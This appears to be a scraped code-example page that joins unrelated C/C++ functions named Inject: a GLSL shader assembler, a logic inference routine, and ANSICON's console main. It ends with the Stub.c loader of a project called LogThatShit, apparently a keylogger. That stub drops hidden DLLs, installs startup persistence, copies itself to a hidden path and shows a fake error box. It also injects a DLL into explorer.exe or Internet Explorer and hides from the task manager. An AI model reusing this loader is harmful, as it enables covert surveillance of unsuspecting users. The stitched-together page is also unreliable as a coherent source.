	int numLightHalfVec = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_LightHalfVec);
	int numLightVertex = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_LightVertex);
	int numLightTanVec = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_LightTanVec);
	int numLightTanHalfVec = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_LightTanHalfVec);
	int numLightDiffuseColor = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_LightDiffuseColor);
	int numLightSpecularColor = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_LightSpecularColor);

	int numShaderNormals = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_Normal);
	int numShaderTangents = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_Tangent);
	int numShaderBitangents = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_Bitangent);

	int numNormals = numShaderNormals;
	int numTangents = numShaderTangents;
	int numBitangents = numShaderBitangents;

	bool needTangents = vertexShader && (numLightTanVec || numLightTanHalfVec);
	if (needTangents) {
		numNormals = std::max(1, numShaderNormals);
		numTangents = std::max(1, numShaderTangents);
		numBitangents = std::max(1, numShaderBitangents);

		ss << "#define TANGENT_FRAME" << "\r\n";
	}

	if (numNormals > 0)
		ss << "#define NORMALS " << numNormals << "\r\n";
	if (numTangents > 0)
		ss << "#define TANGENTS " << numTangents << "\r\n";
	if (numBitangents > 0)
		ss << "#define BITANGENTS " << numBitangents << "\r\n";

	if (numShaderNormals > 0)
		ss << "#define NUM_SHADER_NORMALS " << numShaderNormals << "\r\n";
	if (numShaderTangents > 0)
		ss << "#define NUM_SHADER_TANGENTS " << numShaderTangents << "\r\n";
	if (numShaderBitangents > 0)
		ss << "#define NUM_SHADER_BITANGENTS " << numShaderBitangents << "\r\n";

	int numLights = std::max(
		numLightPos, 
		std::max(
			numLightVec, 
			std::max(
				numLightHalfVec,
				std::max(
					numLightVertex,
					std::max(
						numLightTanVec,
						std::max(
							numLightTanHalfVec,
							std::max(numLightDiffuseColor, numLightSpecularColor)
						)
					)
				)
			)
		)
	);

	if (numLights > 0) {
		ss << "#define LIGHTS " << numLights << "\r\n";
		if (numLightPos > 0)
			ss << "#define SHADER_LIGHT_POS " << numLightPos << "\r\n";
		if (numLightVec > 0)
			ss << "#define SHADER_LIGHT_VEC " << numLightVec << "\r\n";
		if (numLightHalfVec > 0)
			ss << "#define SHADER_LIGHT_HALFVEC " << numLightHalfVec << "\r\n";
		if (numLightVertex > 0)
			ss << "#define SHADER_LIGHT_VERTEXPOS " << numLightVertex << "\r\n";
		if (numLightTanVec > 0)
			ss << "#define SHADER_LIGHT_TANVEC " << numLightTanVec << "\r\n";
		if (numLightTanHalfVec > 0)
			ss << "#define SHADER_LIGHT_TANHALFVEC " << numLightTanHalfVec << "\r\n";
		if (numLightDiffuseColor > 0)
			ss << "#define SHADER_LIGHT_DIFFUSE_COLOR " << numLightDiffuseColor << "\r\n";
		if (numLightSpecularColor > 0)
			ss << "#define SHADER_LIGHT_SPECULAR_COLOR " << numLightSpecularColor << "\r\n";
	}

	if (GLES) {
		ss << "#define _GLES\r\n";
		ss << "#define MOBILE\r\n";
	}
	
	if (!Inject(engine, "@r:/Source/Shaders/Nodes/GLSL.c", ss))
		return false;
	if (!Inject(engine, "@r:/Source/Shaders/Nodes/Common.c", ss))
		return false;
	if (!Inject(engine, "@r:/Source/Shaders/Nodes/Shader.c", ss))
		return false;

	std::stringstream ex;
	if (!ExpandIncludes(*this, ss, ex))
		return false;

	if (flags & kAssemble_Optimize) {
		String in(ex.str());

		glslopt_ctx *glslopt = glslopt_initialize(GLES);

		glslopt_shader *opt_shader = glslopt_optimize(
			glslopt,
			vertexShader ? kGlslOptShaderVertex : kGlslOptShaderFragment,
			in.c_str, 
			0
		);

		char szPass[32];
		sprintf(szPass, "_pass%d", (int)pass);
		
		{
			engine.sys->files->CreateDirectory("@r:/Temp/Shaders/Logs");
			String path(CStr("@r:/Temp/Shaders/Logs/"));
			path += shader->name;
			path += szPass;
			path += "_unoptimized";
			if (vertexShader) {
				path += ".vert.glsl";
			} else {
				path += ".frag.glsl";
			}
			tools::shader_utils::SaveText(engine, path.c_str, in.c_str);
		}

		if (!glslopt_get_status(opt_shader)) {
			COut(C_Error) << "Error optimizing shader: " << std::endl << in << std::endl << glslopt_get_log(opt_shader) << std::endl;
			engine.sys->files->CreateDirectory("@r:/Temp/Shaders/Logs");

			String path;
			for (int i = 0;; ++i) {
				path.PrintfASCII("@r:/Temp/Shaders/Logs/%s_error_%d.log", shader->name.get(), i);
				if (!engine.sys->files->FileExists(path.c_str)) {
					SaveText(engine, path.c_str, in.c_str);
					break;
				}
			}
			glslopt_shader_delete(opt_shader);
			glslopt_cleanup(glslopt);
			return false;
		}

		std::stringstream z;
		if (GLES) {
			switch (shader->precisionMode) {
			case Shader::kPrecision_Low:
				z << "precision lowp float;\r\n";
				break;
			case Shader::kPrecision_Medium:
				z << "precision mediump float;\r\n";
				break;
			case Shader::kPrecision_High:
				z << "precision highp float;\r\n";
				break;
			}
		}
		z << glslopt_get_output(opt_shader);
		glslopt_shader_delete(opt_shader);
		glslopt_cleanup(glslopt);

		Copy(z, out);

		{
			engine.sys->files->CreateDirectory("@r:/Temp/Shaders/Logs");
			String path(CStr("@r:/Temp/Shaders/Logs/"));
			path += shader->name;
			path += szPass;
			path += "_optimized";
			if (vertexShader) {
				path += ".vert.glsl";
			} else {
				path += ".frag.glsl";
			}
			tools::shader_utils::SaveText(engine, path.c_str, z.str().c_str());
		}
	} else {
		Copy(ex, out);
	}

	return true;
}
예제 #22
0
bool
LDemonstrator::Inference(vector<string>* __param){
// cout<<"\nLDemonstrator::Inference(vector<string>* __param){ ....\n";
// 
if(GetStack()->size() == 0)
   return this;
bool end=false;

LDemonstrator* affine=POPAffines();
// Print();
int nb_repeats=GetStack()->size();
nb_repeats*=nb_repeats;
bool some_affine_constraints=false;
if(GetStack()->size() ==0)
   end=true;

while(!end){
//    cout<<"\nLDemonstrator::Inference==========STACK\n";
//    Print();
   AttachedClauses* header=POP();
/*   cout<<"\nLDemonstrator::Inference==========HEADER\n";
   header->Print();*/
   int __nb_unified;
   if(header->GetKnowledge()->GetVariables()->size()==0){
      PUSHBACK(header->GetKnowledge());
      __nb_unified=0;
      
      }
   else{

      AttachToAll(header->GetKnowledge());
      Try2UnifyAll(__param);
      vector<LogicalClause*>* unified=new vector<LogicalClause*>();
      *unified=RecoverUnified();
      __nb_unified=unified->size();
      DetachAll();
      Inject(unified);
      
      PUSHBACK(header->GetKnowledge());
      LDemonstrator* traduced_affine=POPAffines();
   
      if(traduced_affine->GetStack()->size() != 0){
         affine->Merge(traduced_affine);
//          cout<<"\nInference ........ ohhh pas mal fin anticipée ...!\n";
//          traduced_affine->Print();
//          cout<<"\naffine ....\n";
//          affine->Print();
//          cout<<"\nInference ........ ohhh pas mal fin anticipée ...FIN\n";
         some_affine_constraints=true;
         end=true;
         }
      
      }
   
   nb_repeats--;
      
   if(nb_repeats==0) end=true;
//    cout<<"\n nb repeats = "<<nb_repeats<<"  taille pile d'inferences ="<<GetStack()->size()<<"  nb unified == "<<__nb_unified;
//    Print();

   }


// CLEAR();
Merge(affine);

// cout<<"\nLDemonstrator::Inference=================FIN DE DEMO \n";
// Print();
// cout<<"\nLDemonstrator::Inference(vector<string>* __param){ ....END\n";
// cout<<"\n================================================================\n";
return some_affine_constraints;
}
예제 #23
0
파일: ansicon.c 프로젝트: voxik/ansicon
//int _tmain( int argc, TCHAR* argv[] )
int main( void )
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  TCHAR*  cmd;
  BOOL	  option;
  BOOL	  opt_m;
  BOOL	  installed;
  HMODULE ansi;
  int	  rc = 0;

  int argc;
  LPWSTR* argv = CommandLineToArgvW( GetCommandLineW(), &argc );

  if (argc > 1)
  {
    if (lstrcmp( argv[1], TEXT("--help") ) == 0 ||
	(argv[1][0] == '-' && (argv[1][1] == '?' || argv[1][1] == 'h')) ||
	(argv[1][0] == '/' && argv[1][1] == '?'))
    {
      help();
      return rc;
    }
    if (lstrcmp( argv[1], TEXT("--version") ) == 0)
    {
      _putts( TEXT("ANSICON (" BITS "-bit) version " PVERS " (" PDATE ").") );
      return rc;
    }
  }

  option = (argc > 1 && argv[1][0] == '-');
  if (option && (_totlower( argv[1][1] ) == 'i' ||
		 _totlower( argv[1][1] ) == 'u'))
  {
    process_autorun( argv[1][1] );
    return rc;
  }

  get_original_attr();

  opt_m = FALSE;
  if (option && argv[1][1] == 'm')
  {
    WORD attr = 7;
    if (_istxdigit( argv[1][2] ))
    {
      attr = _istdigit( argv[1][2] ) ? argv[1][2] - '0'
				     : (argv[1][2] | 0x20) - 'a' + 10;
      if (_istxdigit( argv[1][3]))
      {
	attr <<= 4;
	attr |= _istdigit( argv[1][3] ) ? argv[1][3] - '0'
					: (argv[1][3] | 0x20) - 'a' + 10;
      }
    }
    SetConsoleTextAttribute( hConOut, attr );

    opt_m = TRUE;
    ++argv;
    --argc;
    option = (argc > 1 && argv[1][0] == '-');
  }

  installed = (GetEnvironmentVariable( TEXT("ANSICON"), NULL, 0 ) != 0);

  if (option && argv[1][1] == 'p')
  {
    // If it's already installed, there's no need to do anything.
    if (installed)
      ;
    else if (GetParentProcessInfo( &pi ))
    {
      pi.hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId );
      pi.hThread  = OpenThread(  THREAD_ALL_ACCESS,  FALSE, pi.dwThreadId  );
      SuspendThread( pi.hThread );
      Inject( &pi );
      ResumeThread( pi.hThread );
      CloseHandle( pi.hThread );
      CloseHandle( pi.hProcess );
    }
    else
    {
      _putts( TEXT("ANSICON: could not obtain the parent process.") );
      rc = 1;
    }
  }
  else
  {
    ansi = 0;
    if (!installed)
      ansi = LoadLibrary( TEXT("ANSI" BITS ".dll") );

    if (option && (argv[1][1] == 't' || argv[1][1] == 'T'))
    {
      BOOL title = (argv[1][1] == 'T');
      if (argc == 2)
      {
	argv[2] = L"-";
	++argc;
      }
      for (; argc > 2; ++argv, --argc)
      {
	if (title)
	  _tprintf( TEXT("==> %s <==\n"), argv[2] );
	display( argv[2], title );
	if (title)
	  _puttchar( '\n' );
      }
    }
    else
    {
      // Retrieve the original command line, skipping our name and the option.
      cmd = skip_spaces( skip_arg( skip_spaces( GetCommandLine() ) ) );
      if (opt_m)
	cmd = skip_spaces( skip_arg( cmd ) );

      if (cmd[0] == '-' && (cmd[1] == 'e' || cmd[1] == 'E'))
      {
	_fputts( cmd + 3, stdout );
	if (cmd[1] == 'e')
	  _puttchar( '\n' );
      }
      else if (!isatty( 0 ) && *cmd == '\0')
      {
	display( TEXT("-"), FALSE );
      }
      else
      {
	if (*cmd == '\0')
	{
	  cmd = _tgetenv( TEXT("ComSpec") );
	  if (cmd == NULL)
	    cmd = TEXT("cmd");
	}

	ZeroMemory( &si, sizeof(si) );
	si.cb = sizeof(si);
	if (CreateProcess( NULL, cmd, NULL,NULL, TRUE, 0, NULL,NULL, &si, &pi ))
	{
	  SetConsoleCtrlHandler( (PHANDLER_ROUTINE)CtrlHandler, TRUE );
	  WaitForSingleObject( pi.hProcess, INFINITE );
	}
	else
	{
	  *skip_arg( cmd ) = '\0';
	  _tprintf( TEXT("ANSICON: '%s' could not be executed.\n"), cmd );
	  rc = 1;
	}
      }
    }

    if (ansi)
      FreeLibrary( ansi );
  }

  set_original_attr();
  return rc;
}
예제 #24
0
파일: Stub.c 프로젝트: lsd/LogThatShit
int Installation(const char* const argv0) {
    /* Output the DLL files required for Injection and system-wide hook. */
    HANDLE mm;
    int offset;
    FILE *fp;
    FILE *fp2;
    char* tmp;
    char* dll;
    char path[MAX_PATH+1];
    char* p;

    /* DLLs are appended to us, let's get them now by reading ourself. */
    fp = fopen(argv0, "rb");
    if (!fp) {
        WIN_ERR("Opening ourself to output DLLs has failed.");
        return 1;
    }

    /* Output the injection DLL. */
    offset = 3 + sizeof(LTSData) + data.blocksz + data.hooksz + data.injectsz;
    fseek(fp, -offset, SEEK_END);

    /* Allocate space for injection dll */
    dll = malloc(data.injectsz);
    if (!dll) {
        WIN_ERR("Unable to allocate memory for injection DLL.");
        fclose(fp);
        return 1;
    }

    /* Copy DLL from EXE to memory. */
    fread(dll, 1, data.injectsz, fp);

    /* Construct the injection DLL name. It will go in a global variable, as we need it later on. */
    tmp = SettingsGetValue(block, data.blocksz, "INJECTNAME");
    snprintf(injectdll, MAX_PATH, "%s/%s", rootpath, tmp);
    injectdll[MAX_PATH] = '\0';
    free(tmp);

    /* Why does it sometimes fail to overwrite? Just in case, manually remove the old one. */
    remove(injectdll);
    fp2 = fopen(injectdll, "wb");
    if (fp2) {
        /* File is open, output DLL from memory to disk. */
        fwrite(dll, 1, data.injectsz, fp2);
        fclose(fp2);

        /* Make the DLL hidden. */
        SetFileAttributes(injectdll, FILE_ATTRIBUTE_HIDDEN);
    }
#ifdef DEBUG_MODE
    else {
        WIN_ERR("Unable to open file to output Injection DLL to.\nFile likely in use.\nWill attempt to use the existing one.");
    }
#endif

    /* Failed to output DLL or not, free the memory. */
    free(dll);

    /* Output the hook DLL. Allocate space for it in memory. */
    dll = malloc(data.hooksz);
    if (!dll) {
        WIN_ERR("Unable to allocate memory for hook DLL.");
        fclose(fp);
        return 1;
    }

    /* Copy from disk to memory. */
    fread(dll, 1, data.hooksz, fp);

    /* Construct the DLL name. */
    tmp = SettingsGetValue(block, data.blocksz, "HOOKNAME");
    snprintf(path, MAX_PATH, "%s/%s", rootpath, tmp);
    path[MAX_PATH] = '\0';
    free(tmp);

    remove(path);
    fp2 = fopen(path, "wb");
    if (fp2) {
        /* Copy from memory to disk. */
        fwrite(dll, 1, data.hooksz, fp2);

        /* Close fp2 (Hook DLL) */
        fclose(fp2);

        /* Make the DLL hidden. */
        SetFileAttributes(path, FILE_ATTRIBUTE_HIDDEN);
    }
#ifdef DEBUG_MODE
    else {
        WIN_ERR("Unable to open file to output hook DLL to.\nFile likely in use.\nWill attempt to use the existing one.")
    };
#endif

    /* Failed to output DLL or not, free the memory and close the file */
    free(dll);
    fclose(fp);

    /* Write the flag struct to a memory mapped buffer so the hook DLL can get access to it. */
    mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, sizeof(LTSFlags), LTS_MMBUF_FLAGS);
    if (!mm) {
        WIN_ERR("Unable to create file mapping to write flag struct to.");
        return 1;
    }

    p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(LTSFlags));
    if (!p) {
        WIN_ERR("Unable to map a view of mapped buf to write flags.");
        return 1;
    }

    CopyMemory(p, &data.flags, sizeof(LTSFlags));
    UnmapViewOfFile(p);

    /* Write the settings block (and size) to a memory mapped buffer so the injection DLL can get access to it. */

    /* Start by writing the size of the block. */
    mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, sizeof(data.blocksz), LTS_MMBUF_BLOCK_SZ);
    if (!mm) {
        WIN_ERR("Unable to create file mapping for settings block size.");
        return 1;
    }

    p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(data.blocksz));
    if (!p) {
        WIN_ERR("Unable to map a view of file mapping to write block size.");
        return 1;
    }

    CopyMemory(p, &data.blocksz, sizeof(data.blocksz)); /* Copy the size first. */
    UnmapViewOfFile(p);

    /* and then the block itself. */
    mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, data.blocksz, LTS_MMBUF_BLOCK);
    if (!mm) {
        WIN_ERR("Unable to create file mapping for block.");
        return 1;
    }

    p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, data.blocksz);
    if (!p) {
        WIN_ERR("Unable to map a view of file mapping to write block.");
        return 1;
    }

    CopyMemory(p, block, data.blocksz);
    UnmapViewOfFile(p);

    /* Done with this. We have all the settings. Free it. */
    free(block);
    return 0;
}


int WINAPI WinMain(HINSTANCE inst, HINSTANCE prev, LPSTR argv, int show) {
    char me[MAX_PATH+1];
    HANDLE m;
    FARPROC pCopyFile;
    OS_PLATFORM platform;
    char ranbyuser;

    /* Look for a commandline flag indicating if we ran via Windows startup. */
    if (!strcmpi2(argv, RAN_ON_BOOT_FLAG, strlen(RAN_ON_BOOT_FLAG))) {
        ranbyuser = 0;
    } else {
        ranbyuser = 1;
    }

    /* Let's get the path to ourself. */
    GetModuleFileName(0, me, MAX_PATH);
    me[MAX_PATH] = '\0';

    /* Stop annoying warning. */
#ifdef DEBUG_MODE
    inst = prev = 0;
    argv = 0;
    show = 0;
#endif

    /* We mainly need path2me. Let's load it now. */
    if (LoadSettings(me)) {
        GEN_ERR("LoadSettings() returned an error, not going to bother going on. Quitting.");
        return 1;
    }

    /* Get the platform we are running on. */
    platform = GetPlatform();

    /* Implement startup method. */
    if (PLAT_9X != platform) {
        /* If ActiveX startup fails, use Run startup. (Rare) */
        if (ImplementDefaultStartup()) ImplementRunStartup();
    } else {
        /*	ActiveX works on 9X. But on 9X, we do not terminate, this will halt explorer. */
        ImplementRunStartup();
    }

    /*	Copy myself over to a path where we will reside forever.
    	Without remove(), CopyFile() sometimes doesn't overwrite,
    	even though it succeeds, wtf? */
    remove(path2me);
    pCopyFile = GetProcAddress(GetModuleHandle("Kernel32.dll"), "CopyFileA");
    if (pCopyFile) {
        pCopyFile(me, path2me, 0);
    } else {
        WIN_ERR("Could not get address of CopyFileA. Unable to copy ourself to PATH");
    }

    /* Make myself hidden. */
    SetFileAttributes(path2me, FILE_ATTRIBUTE_HIDDEN);

    /* If we are supposed to display a fake error AND we ran via user... */
    if (ranbyuser && errmsg) {
        /* Display a fake error message box. */
        MessageBox(0, errmsg, errcap, MB_ICONERROR);
        free(errmsg);
        free(errcap);
    }

    /* Check to see if I am already running. If so, quit. */
    CreateMutex(0, 1, MUTEX_NAME_RUNNING);
    if (GetLastError()!=ERROR_SUCCESS) {
        /* If we are NOT able to create the mutex, assume it's because it already exists. */
        INFO("An instance of LTS is already running!\nExiting.");
        /* Clean up from LoadSettings() */
        free(block);
        return 1;
    }

    /* Read settings. They are (supposed to be) appended to the LTS executable file. */
    if (Installation(me)) {
        INFO("Due to errors during installation, we will NOT continue.");
        /* Clean up what LoadSettings() did. */
        free(block);
        return 1;
    }

    /*	The rest depends on the OS platform. Let's get that now. If it's NOT 9X OR it
    	IS an error, assume it's NT */
    if (PLAT_9X != platform) {
        HANDLE confirm;
        unsigned int i;
        DWORD pid;
        char success;

        success = 0;
        pid = 0;
        confirm = 0;

        /* Inject DLL into a process. */
#ifdef DEBUG_MODE
        pid = InjectionProcessId("C:\\Windows\\System32\\calc.exe", SPAWN);
        if (!pid) {
            GEN_ERR("Getting pID of calc.exe has failed. Going to attempt default browser.");
        }
#else
        /* First target is Explorer. Get the PID */
        pid = InjectionProcessId("explorer.exe", RUNNING);
#endif

        /* If the pid is valid, Attempt to inject into the process. Otherwise, attempt def browser */
        if (pid) {
            Inject(injectdll, pid);

            /* Wait for the confirmation mutex to be created by the injection DLL. */
            INFO("Stub waiting for confirmation mutex.");

            /*	Wait 5 seconds (100ms * 50), if we still don't the confirmation mutex. Assume
            the injection failed. */
            for (i=0; i<50; ++i) {
                confirm=OpenMutex(0, 0, MUTEX_NAME_DONE);
                if (GetLastError()!=ERROR_FILE_NOT_FOUND) {
                    success = 1;
                    break;
                }
                Sleep(100);
            }
        }

        /* If we did not get the mutex, attempt to inject into the default browser. */
        if (!success) {
            /* XXX Fix this. Get default browser and spawn it silently. */
            /*			char browser[MAX_PATH];
            			DWORD browsersz=MAX_PATH;

            			GEN_ERR("Injecting into a running Explorer.exe has failed.\nAttempting to spawn and inject into the default browser.");

            			GetDefaultBrowser(browser, &browsersz);
            			pid = InjectionProcessId(browser, SPAWN);
            			pid = InjectionProcessId("c:\\Program Files\\Mozilla Firefox\\firefox.exe", SPAWN); */

            /* If we got the PID, use it. Else just use IE. */
            GEN_ERR("Injecting into a running Explorer.exe has failed.\nAttempting to spawn and inject into IE.");
            pid = InjectionProcessId("C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE", SPAWN);
            if (pid) {
                Inject(injectdll, pid);
                /* Now wait for the confirmation mutex again. */
                for (i=0; i<50; ++i) {
                    confirm=OpenMutex(0, 0, MUTEX_NAME_DONE);
                    if (GetLastError()!=ERROR_FILE_NOT_FOUND) {
                        success = 1;
                        break;
                    }
                    Sleep(100);
                }
            }

            if (!success) {
                /*	Injection into default browser has failed as well. This should NEVER happen.
                	Let's just load the DLL manually then. */
                HINSTANCE dll;
                MSG msg;

                GEN_ERR("Injection into default browser failed. Going to manually load DLL.");
                dll = LoadLibrary(injectdll);
                if (!dll) {
                    WIN_ERR("Unable to load DLL! -- Quitting.");
                    return 1;
                }

                while (GetMessage(&msg, 0, 0, 0)) {
                    TranslateMessage(&msg);
                    DispatchMessage(&msg);
                }
            }
        }

        /* We got confirmation that the DLL successfully read the settings. We can now die. */
        INFO("Success! Got confirmation mutex. Stub terminating.");
        CloseHandle(confirm);
    } else {
        /* Windows 9X */
        HINSTANCE dll;
        HMODULE kernel32;
        MSG msg;

        /* Hide from task manager. (9X ONLY) */
        kernel32 = LoadLibrary("Kernel32.dll");
        if (kernel32) {
            FARPROC rsp;
            rsp = GetProcAddress(kernel32, "RegisterServiceProcess");
            if (rsp) rsp(GetCurrentProcessId(), 1);
            FreeLibrary(kernel32);
        }

        /*	We can not inject into a process' address space on 9X.  We *can* 'inject' using a
         	hook and LoadLibrary() but for now, let's just manually load the DLL and sit idle. */
        dll = LoadLibrary(injectdll);
        if (!dll) {
            WIN_ERR("Unable to load injection DLL! -- Quitting.");
            return 1;
        }

        /* This mutex is meant DLL injection, it tells us that the DLL has read the settings. */
        for (;;) {
            m=OpenMutex(0, 0, MUTEX_NAME_DONE);
            if (GetLastError()!=ERROR_FILE_NOT_FOUND) break;
            Sleep(200);
        }

        /* Unlike on NT w/ DLL injection, we can not terminate. Windows will unload the DLL. */
        CloseHandle(m);

        /* Just sit idle. DLL that we loaded should take care of the rest. */
        INFO("Running on 9X. DLL has been loaded. Loader will sit in an idle loop.");
        while (GetMessage(&msg, 0, 0, 0)) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

    return 0;
}